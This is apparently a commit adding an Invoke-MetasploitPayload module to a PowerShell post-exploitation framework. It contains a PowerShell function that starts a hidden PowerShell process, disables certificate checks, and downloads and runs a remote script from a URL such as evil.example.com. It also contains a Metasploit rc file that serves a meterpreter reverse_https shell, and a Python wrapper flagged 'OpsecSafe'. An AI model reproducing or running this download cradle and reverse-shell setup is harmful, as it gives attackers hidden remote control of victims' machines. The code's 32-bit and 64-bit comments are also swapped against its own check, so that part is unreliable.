adding the invoke-metasploitpayload module
Jared Haight
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47c75a5902
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function Invoke-MetasploitPayload
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{
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<#
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.SYNOPSIS
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Kick off a Metasploit Payload using the exploit/multi/script/web_delivery module
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Author: Jared Haight (@jaredhaight)
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License: MIT
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Required Dependencies: None
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Optional Dependencies: None
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.DESCRIPTION
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Spawns a new, hidden PowerShell window that downloads and executes a Metasploit payload from a specified URL.
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This relies on the exploit/multi/scripts/web_delivery metasploit module. The web_delivery module generates a script for
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a given payload and then fires up a webserver to host said script. If the payload is a reverse shell, it will also handle
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starting up the listener for that payload.
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An example rc file is below (or you can just type the commands manually). It does the following:
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* Sets the download cradle to port 8443 (SRVPORT) on all IPs (SRVHOST)
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* Sets the script target to PowerShell (set target 2)
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* Sets the payload being served to windows/meterpreter/reverse_https
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* Sets the payload to listen on port 443 (LPORT) on all IPs (LHOST)
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====== Invoke-MetasploitPayload rc file ======
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use exploit/multi/script/web_delivery
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set SRVHOST 0.0.0.0
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set SRVPORT 8443
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set SSL true
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set target 2
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set payload windows/meterpreter/reverse_https
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set LHOST 0.0.0.0
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set LPORT 443
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run -j
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==== end Invoke-MetasploitPayload rc file ====
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.PARAMETER url
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This is the URL for the download cradle, by default it will be something
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like "https://evil.example.com/[Random Chars]"
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.EXAMPLE
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PS C:\>Invoke-MetasploitPayload -url https://evil.example.com/2k1isEdsl
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Downloads and executes a Metasploit payload located at https://evil.example.com/2k1isEdsl
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.NOTES
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You can use the "-verbose" option for verbose output.
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.LINK
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Github: https://github.com/jaredhaight/Invoke-MetasploitPayload
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#>
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[CmdletBinding()]
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Param
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(
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[Parameter( Mandatory = $True)]
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[ValidateNotNullOrEmpty()]
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[string]$url
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)
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Write-Verbose "[*] Creating Download Cradle script using $url"
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$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+''');'
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Write-Verbose "[*] Figuring out if we're starting from a 32bit or 64bit process.."
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if([IntPtr]::Size -eq 4)
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{
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Write-Verbose "[*] Looks like we're 64bit, using regular powershell.exe"
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$PowershellExe = 'powershell.exe'
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}
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else
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{
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Write-Verbose "[*] Looks like we're 32bit, using syswow64 powershell.exe"
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$PowershellExe=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'
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};
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Write-Verbose "[*] Creating Process Object.."
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$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
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$ProcessInfo.FileName=$PowershellExe
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$ProcessInfo.Arguments="-nop -c $DownloadCradle"
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$ProcessInfo.UseShellExecute = $False
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$ProcessInfo.RedirectStandardOutput = $True
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$ProcessInfo.CreateNoWindow = $True
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$ProcessInfo.WindowStyle = "Hidden"
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Write-Verbose "[*] Kicking off download cradle in a new process.."
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$Process = [System.Diagnostics.Process]::Start($ProcessInfo)
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Write-Verbose "[*] Done!"
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}
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from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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# metadata info about the module, not modified during runtime
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self.info = {
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# name for the module that will appear in module menus
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'Name': 'Invoke-MetasploitPayload',
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# list of one or more authors for the module
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'Author': ['@jaredhaight'],
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# more verbose multi-line description of the module
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'Description': ('Spawns a new, hidden PowerShell window that downloads'
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'and executes a Metasploit payload. This relies on the'
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'exploit/multi/scripts/web_delivery metasploit module.'),
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# True if the module needs to run in the background
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'Background' : False,
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# File extension to save the file as
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'OutputExtension' : None,
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# True if the module needs admin rights to run
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'NeedsAdmin' : False,
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# True if the method doesn't touch disk/is reasonably opsec safe
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'OpsecSafe' : True,
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# The minimum PowerShell version needed for the module to run
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'MinPSVersion' : '2',
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# list of any references/other comments
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'Comments': [
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'https://github.com/jaredhaight/Invoke-MetasploitPayload/'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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# The 'Agent' option is the only one that MUST be in a module
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'Description' : 'Agent to grab a screenshot from.',
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'Required' : True,
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'Value' : ''
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},
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'URL' : {
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'Description' : 'URL of the hosted Metasploit payload',
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'Required' : True,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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# During instantiation, any settable option parameters
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# are passed as an object set to the module and the
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# options dictionary is automatically set. This is mostly
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# in case options are passed on the command line
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if params:
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-MetasploitPayload.ps1"
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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script = moduleCode
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script += "\nInvoke-MetasploitPayload"
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# add any arguments to the end execution of the script
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for option,values in self.options.iteritems():
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if option.lower() != "agent":
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if values['Value'] and values['Value'] != '':
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if values['Value'].lower() == "true":
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# if we're just adding a switch
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script += " -" + str(option)
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else:
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script += " -" + str(option) + " " + str(values['Value'])
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return script
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